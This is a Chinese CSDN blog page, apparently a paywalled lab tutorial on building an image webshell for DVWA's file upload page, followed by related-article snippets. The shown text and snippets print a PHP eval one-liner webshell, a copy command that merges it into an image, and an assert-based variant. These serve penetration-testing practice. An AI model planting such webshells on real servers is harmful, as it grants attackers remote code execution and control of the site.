【WEB攻防】图片木马的利用

最新推荐文章于 2024-05-31 18:12:04 发布
最新推荐文章于 2024-05-31 18:12:04 发布
阅读量1w 收藏 28
点赞数 5
分类专栏： web 渗透 web渗透
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45983744/article/details/104325269
版权

交流Q群：876554035

一，图片木马原理
图片木马以文件上传漏洞为基本条件，将可执行的脚本写入到图片中去，再利用文件包含漏洞来执行图片中的一句话木马，从而获取目标服务器权限。

二．工具及环境
DVWA靶场环境
010Editor
中国菜刀
三．具体步骤
1.登陆DVWA靶场，调整安全级别为high，进入到File Upload页面。
在这里插入图片描述
图一 登陆界面
在这里插入图片描述
图二 选择安全级别，进入
2.利用010 Editor工具制作一句话图片木马，一句话木马为 <?php @eval($_POST[‘pass’]);?>

最低0.47元/天 解锁文章
小小秋叶
关注
  • 5
    点赞
  • 踩
  • 28
    收藏
    觉得还不错? 一键收藏
  • 7
    评论
专栏目录
【网络安全之文件上传漏洞详解】(1)，架构师必备
2401_83739632的博客
04-14 691
顾名思义，白名单就是服务端明确规定上传格式，比如JPG，GIF，PNG等格式，除此之外其他类型无法上传。通过检查http中包含的Content-Type字段中的值来判断上传文件是否合法，因此可以将此字段改成允许上传的。例2：来到第二关，还是限制只能上传GIF，JPG，PNG格式，但是在禁用JS上传已经不管用了，因为对方用了MIME验证。打开burp抓包，找到Content-Type字段，可以发现其与代码中允许的字段不一致，所以将Content-Type字段改成代码中允许的字段类型提交即可。
图片木马-渗透测试
h0ers的博客
10-28 2746
制作图片木马中的问题 问题 ：copy命令制作图片木马后，菜刀无法连接 1.执行步骤： 一张普通图片：1.jpg php版本一句话木马，保存为 1.php，代码如下： <?php @eval($_POST['pass']);?> 制作图片木马，将图片文件和php文件合并为2.jpg，命令如下： copy 1.jpg/b+1.php/a 2.jpg 其中 /b代表二进制文件，/a代表ASCII码文件 上传成功后，用菜刀连接，弹出成功获取图片，未拿到webshell。 2.问题排查 用HxD h
一句话图片木马
qq_44111753的博客
08-20 1万+
一句话图片木马 一、准备图片木马 1、准备任意图片pho.jpg 2、准备木马文件hack.php <?php @eval($_POST['hack']);?> 3、利用系统命令，将木马复制到图片文件中，产生图片木马hack.jpg copy pho.jpg/b+hack.php/a hack.jpg b二进制格式，a为ASCII 二、上传图片 三、利用文件包含漏洞解析图片木马（没有文件包含漏洞图片木马将无法执行） 1、 右键图片复制图片地址，找到图片木马具体位置（upload//4820
pikachu靶场（unsafe upfileupload（文件上传）通关教程）
最新发布
记录学习
05-31 841
pikachu靶场之文件上传漏洞简介
木马制作——图片木马制作
weixin_50339082的博客
06-09 1万+
木马制作——图片木马制作 一、简单说明 图片木马指的是图片格式的文件木马，图片格式包括jpg,png等，原理是将木马程序和图片捆绑在一起，达到伪装的目的，程序可以是脚本语言或者编译语言，在web渗透中，通常将脚本编写的webshell和图片合成一个新的木马，结合web的文件上传漏洞进行利用，获取网站应用的webshell权限。 二、制作方式 利用windows 命令 准备一个木马，以php一句话为例，文件名为pass.php,内容如下： <?php @eval($_POST['pass']); ?
upload-labs靶场
m0_62100902的博客
06-07 592
1 还是老样子，审查源码，寄，直接对文件头进行校验，那么之前的所有操作，不管是你改文件名也好，改路径也好，你的内容是不可能变的，所以之前的所以操作在这。2 观察之后的源码，取后缀名的流程为：去点，首尾去空，删除末尾的点，以末尾的点截取后缀名，后缀名大小写转换，去除末尾的字符串::$DATA,首尾去空。1 审查源码，ok，这里终于换成了白名单了，那么之前那些所有的操作在这里都挂掉了，因为之前的操作都是去对文件后缀名进行的操作，这里是白名单，无论如何。ps：每次上传成功的意思是上传并且6=phpinfo();
PHP 图片木马隐写方法及靶机演示
百彦子烨的博客
11-11 3478
通常在木马的实际运用中，我们会面临防御者对文件类型、大小的过滤。有些规定只能上传图片的还可能对图片进行采集，即使攻击者直接更改文件类型也会被拦截。所以我们需要运用隐写技术将木马隐藏到图片中，以此来绕过防御，进行上传。
文件上传漏洞详解
热门推荐
剁椒鱼头没剁椒的博客
11-28 2万+
文件上传漏洞是web系统中常见的一种功能，通过文件上传能实现上传图片、视频，以及其他类型的文件，但是随着web中包含的功能越来越多，潜在的网络安全风险也就越大。如果恶意用户上传了可执行的文件或者脚本，就会导致网站被其控制甚至会使其服务器沦陷，以至于引发恶意的网络安全事件。编辑器也就是在线的web编辑器，比如在搭建博客后需要发布文章，那么用来发布文章的界面就是web编辑器。
文件上传漏洞各种姿势分析
weixin_46591320的博客
10-25 719
文件上传绕过，奇淫技巧
一文爽 文件上传漏洞原理、方法和类型详细解析
MachineGunJoe666
05-23 1121
文件上传漏洞是web系统中常见的一种功能，通过文件上传能实现上传图片、视频，以及其他类型的文件，但是随着web中包含的功能越来越多，潜在的网络安全风险也就越大。如果恶意用户上传了可执行的文件或者脚本，就会导致网站被其控制甚至会使其服务器沦陷，以至于引发恶意的网络安全事件。
防御php木马.zip
01-05
在网络安全领域，PHP木马是常见的威胁之一，它们可以被黑客用来控制服务器，执行恶意代码，窃取数据，甚至利用服务器作为攻击其他系统的跳板。本文将深入探讨如何防御PHP木马，主要围绕三个关键点：限制Apache操作...
JSP文件管理器，挺老个程序，但好用
05-21
JSP文件管理器0.5版本，显示目录和文件，支持cmd操作
网络攻防期末考试精选简答题.pdf
07-24
内容包括网络攻防概论、密码技术、网络侦察技术、网络扫描技术、拒绝服务攻击、计算机病毒、特洛伊木马、网络监听技术、缓冲区溢出攻击、web网站攻击技术、信息认证技术、访问控制技术、网络防火墙技术和入侵检测...
网络安全攻防大赛ctf题目
03-09
7. **恶意软件分析**：理解恶意软件的生命周期，学习如何使用静态和动态分析方法检测和分析病毒、木马、蠕虫等。 8. **安全编程**：强调安全编码原则，避免常见的编程漏洞，如防止注入攻击、正确处理用户输入、使用...
一句话的艺术-web提权.pdf
01-25
总的来说，这个主题深入探讨了在高度安全环境下的网络攻防战，特别是在Web提权方面，如何巧妙地利用一句话木马避开安全软件的检测。这需要对Web编程语言、安全检测机制以及编码技术有深入的理解。同时，这也警示了...
网络攻防与防御 实验四.docx
06-29
然后，利用CobaltStrike的“web钓鱼”模块，设置文件托管，这将生成一个含有木马的下载链接。在运行前，确保关闭所有安全防护软件，以避免被拦截。 实验的总结强调了CobaltStrike在实际操作中的重要性。通过对后门...
php一句话图片木马怎么运行,php图片木马怎么运行
weixin_31034309的博客
03-10 2199
PHP图片木马的的运行方法1、标准的写法,直接通过eval执行php代码@eval ($_POST['code']);2、动态执行assert生成一个木马文件(隐藏性最好的一种)@$_GET['a']($_GET['code']);3、使用方法:从url中传入下面参数执行后会在当前目录生成一个c.php的文件/index.php?a=assert&code=${fputs%28fopen%...
java web 上传图片漏洞_Web安全：文件上传漏洞
weixin_29310631的博客
02-17 1062
原标题：Web安全：文件上传漏洞一般将文件上传归类为直接文件上传与间接文件上传。直接文件上传就是服务器根本没有做任何安全过滤，导致攻击者可以直接上传小马文件及大马文件(如ASP、ASPX、PHP、JSP及war文件等类型的小马文件及大马文件)，从而得到目标站点的shell。间接文件上传就是服务器对用户上传的文件使用了安全策略：第一种安全策略是在程序代码中设置黑名单或者白名单；第二种安全策略是在We...
文件上传图片木马执行之[SUCTF 2019]CheckIn1
qq_58970968的博客
04-14 2207
参考博文：BUUCTF__[SUCTF 2019]CheckIn_题解_风过江南乱的博客-CSDN博客 上传一句话木马文件的普通方式都不可以，发现可以上传jpg木马，jpg木马他也进行内容绕过，不能含有<?，但是可以构造其他的，然后还要添加GIF89a进行伪装； 图片木马的制作，不多说；这里上传jpg木马之后，怎么执行里面的木马呢； 目前学到的有两种方法： 1.在apache中，可以用.htacess文件来实现，可这道题也被正则了 2.用.user.ini （知识点在参考里面也有）；大概就.
Android安全攻防指南_漏洞利用缓解技术_编程案例解析实例详解课程教程.pdf
05-05
在漏洞研究社区中，攻防双方的研究者之间始终在进行军备竞赛，不断努力设计和实现新的漏洞利用缓解技术。成功的攻击方法一旦被发现或公开，防守方就会积极工作，防止类似攻击再次出现，并着手设计新的保护机制。攻击...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值